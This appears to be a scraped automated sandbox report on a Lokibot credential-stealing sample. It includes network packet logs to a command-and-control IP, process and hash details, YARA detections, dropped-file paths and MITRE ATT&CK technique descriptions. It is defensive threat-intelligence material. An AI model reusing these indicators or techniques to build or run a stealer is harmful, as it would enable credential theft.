Jan 5, 2023 08:52:09.418524981 CET	80	49705	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.452564955 CET	80	49705	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.452598095 CET	80	49705	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.452841043 CET	49705	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.452913046 CET	49705	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.480235100 CET	80	49705	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.735702991 CET	49706	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.763303995 CET	80	49706	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.765733004 CET	49706	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.771972895 CET	49706	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.799355984 CET	80	49706	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.799828053 CET	49706	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.827282906 CET	80	49706	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.863838911 CET	80	49706	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.863888025 CET	80	49706	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.864063978 CET	49706	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.864131927 CET	49706	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.894545078 CET	80	49706	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:10.300009012 CET	49707	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:10.327162027 CET	80	49707	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:10.327285051 CET	49707	80	192.168.2.3	171.22.30.147

HTTP Request Dependency Graph

171.22.30.147

Target ID:	0
Start time:	08:51:58
Start date:	05/01/2023
Path:	C:\Users\user\Desktop\zlP981oop5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\zlP981oop5.exe
Imagebase:	0x400000
File size:	412163 bytes
MD5 hash:	29296EF70F898C80B0DAFEE4E1CA5998
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: gblqfiy.exePID: 5172, Parent PID: 4516

General

Target ID:	1
Start time:	08:51:59
Start date:	05/01/2023
Path:	C:\Users\user\AppData\Local\Temp\gblqfiy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\gblqfiy.exe" C:\Users\user\AppData\Local\Temp\rznkfgz.rq
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	B51AF47CC81518E4CF1128FBBEAE5877
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 30%, Virustotal, Browse
Reputation:	low

Analysis Process: conhost.exePID: 5180, Parent PID: 5172

General

Target ID:	2
Start time:	08:51:59
Start date:	05/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: gblqfiy.exePID: 5316, Parent PID: 5172

General

Target ID:	3
Start time:	08:52:00
Start date:	05/01/2023
Path:	C:\Users\user\AppData\Local\Temp\gblqfiy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\gblqfiy.exe
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	B51AF47CC81518E4CF1128FBBEAE5877
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000003.00000002.513357933.0000000000658000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zlP981oop5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\erbwrip.be

C:\Users\user\AppData\Local\Temp\gblqfiy.exe

C:\Users\user\AppData\Local\Temp\nsk2BAD.tmp

C:\Users\user\AppData\Local\Temp\rznkfgz.rq

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.exe (copy)

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
zlP981oop5.exe

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre